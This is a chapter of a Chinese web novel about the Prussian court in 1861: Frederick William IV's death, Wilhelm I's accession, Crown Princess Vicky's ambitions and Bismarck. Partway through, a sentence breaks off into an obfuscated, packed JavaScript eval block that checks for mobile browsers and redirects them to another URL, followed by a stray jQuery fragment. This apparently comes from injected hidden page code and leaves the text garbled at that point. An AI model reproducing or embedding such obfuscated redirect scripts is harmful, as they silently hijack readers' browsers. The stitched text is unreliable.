1861年1月初,柏林,无忧宫那洛可可风格的圆顶快被压垮了。
刚刚失去了一个亲妹妹的威廉亲王,还没来得及从那种“亲情断更”的悲伤里缓过劲来。
上帝他老人家,又给他,送来了一个……“加急且不退货”的沉重包裹。
“亲王殿下!亲王殿下!”
侍从官那天半夜里像是见了鬼一样,疯狂地敲响了威廉卧室的门,声音里带着一种不知道是哀是喜的复杂顫抖。
“陛下……陛下他……”
威廉亲王披着军大衣冲进那个充满了药味、还挂着哥特式教堂设计图草稿的国王寝宫时。
他看到的是——
他的大哥,那位曾经总是对着月亮写诗、即使中风了也还想着要修花园的“浪漫主义国王”——腓特烈·威廉四世。
此刻,他那张即便在病榻上缠绵了几年、早已失去了往日艺术家风采的脸庞,此刻终于归于了一种……带着孩子般笑意(可能是梦里教堂终于盖好了)的平静。
手边,还攥着一只已经被他捏住而折断了的羽毛笔,纸上似乎是他最后那首还没写完的……“关于来世要一定要生而为鸟”的诗。
他,也走了。
威廉亲王,不,现在……在法理上,他已经不再是“摄政王”了。
这位花白胡子、一辈子都生活在哥哥阴影里、只能在这个“神经质”艺术家手下当当“军头”的63岁老人。在这一瞬间,他感到了一种前所未有的空白。
不是权力的快感,也没有什么终于上位的痛快。
只有一种,就像是陪了你一辈子的、虽然老给你捣乱、经常犯傻、但好歹能在关键时刻替你背锅的“天真老伙计”,真的……再也不见了的那种,空落落的酸楚。
“哥……”
他跪在床前,哪怕是铁石心肠如他,此刻,眼泪也吧嗒吧嗒地掉了下来。
他甚至想起了小时候,大哥带着他偷偷溜出皇宫,去波茨坦湖边追蝴蝶、结果一起摔进泥坑的日子。
那时候,大家都不是国王。
但是现在……
他抬起头。
一面黑白相间的战旗,已经在寒风中缓缓升起。
从今天起。
普鲁士,再没有了浪漫。
只剩下……
——铁血。
……
“唉……这一家人,‘约好了似的’?”
皇太子宫里,正抱着第二个孩子——夏洛特小公主的维琪王储妃,听到这个消息后,轻轻地把孩子交给了保姆,然后站在窗前,幽幽地叹了口气。
她看着窗外忙碌的宫廷。
“前两个月刚在圣彼得堡哭了一鼻子,这眼泪还没干透呢,又要接着哭我这可怜的大伯了。”
“真不知道是上帝有意安排,还是他俩就是要在一年内把‘霍亨索伦’家的白事份额全给用完了。”
“呼~伯父终于解脱了,愿他在天堂能把那个可以养鹤的大湖给挖出来。”
但这种文艺女青年的情绪,在维琪身上只停留了大概……三十秒。
三十秒后。
她猛地转过身,那双仿佛在燃烧的蓝眼睛里,已经看不到任何的悲伤,取而代之的,是一种……近乎于猎手看到猎物倒下后的、冷静、理智与……野心的光芒。
她走到镜子前,把自己身上那身稍微有点艳丽的便服脱了下来。
“来人!”她大声地、甚至有些迫不及待地吩咐侍女,“把我让‘维多利亚的秘密’(高级成衣部)订制的那件……全黑的、束腰最紧、看起来最‘禁欲但又威严’的丧服拿出来!”
“还有……告诉腓特烈!”
她的嘴角勾起一抹“一切都来了”的笑容。
“别在那儿对着他大伯的画像发呆了!”
“哭可以哭!但别忘了……”
“从今天开始,他爸爸,就是这个国家真正的主人!”
“而他,就是……唯一的皇储!”
“而我……”
她看着镜子里那个容颜正盛、气场却强大得可以压倒一切的女人。
“……就是这个国家,未来的——第一女主人!”
“这一天,我可是在心里,彩排了整整三年啊!”
当然,这种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972647|185649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话她只能在心里默默地说。表面上,她已经以一个“最得体、最懂事、也最能干的儿媳妇”的身份,第一时间冲进了“灵堂筹备委员会”,开始了大包大揽(也就是**)的表演。
……
几天后,波茨坦。
在冬日的雪地里,一场混合了“葬礼”和“加冕前奏”的盛大仪式开始了。当然,正式的加冕仪式就要等后面到柯尼斯堡城堡教堂了。
外围是无数的普鲁士近卫军,穿着他们那醒目的黑色丧服(挂着白袖章),排成了无尽的长龙。
礼炮声中,威廉一世,这位新晋的普鲁士国王,穿着一身没有多余装饰、简朴得甚至有点寒酸的军服,走上了那个象征着德意志权力的台阶。
他不哭了,也没有像他哥哥那样发表什么长篇大论的“浪漫主义宣言”。
他站在那里,手按在腰间的佩剑上,看着下面那无数的大臣、贵族和沉默的市民。
他那双常年被风沙磨砺过的眼睛里,没有任何的多愁和善感——有的只是冷硬的花岗岩。
那是一种,经历过1848年**的恐怖、经历过议会的刁难、现在终于不需要向任何人低头、可以按照自己的意志去把这个国家变成一台战争机器的……决心!
而在他身旁。
那位被维琪称为“好婆婆”的新王后,奥古斯塔,正戴着那顶刚从仓库里翻出来的王后冠(还特意让维琪帮忙清洗了一下),即使眼角有泪痕,却依然昂着她高贵的头颅用一种优雅的目光扫视着全场。
她和她的丈夫虽然脾气不合(性格差异巨大),但在这一刻,他们都明白。
家里的“文艺病”结束了。
以后的日子,就看谁的……骨头更硬了。
台下的俾斯麦,默默地掏出了一根雪茄,深吸了一口。
“新时代啊……”
“这简直就是,为我,量身打造的舞台。”
这一年,普鲁士换了天。世界历史的车轮,在柏林的寒风中,也默默地,换了一条……名为“德意志第二帝国”的快车道。
至于维琪的算盘……
且听下回分解。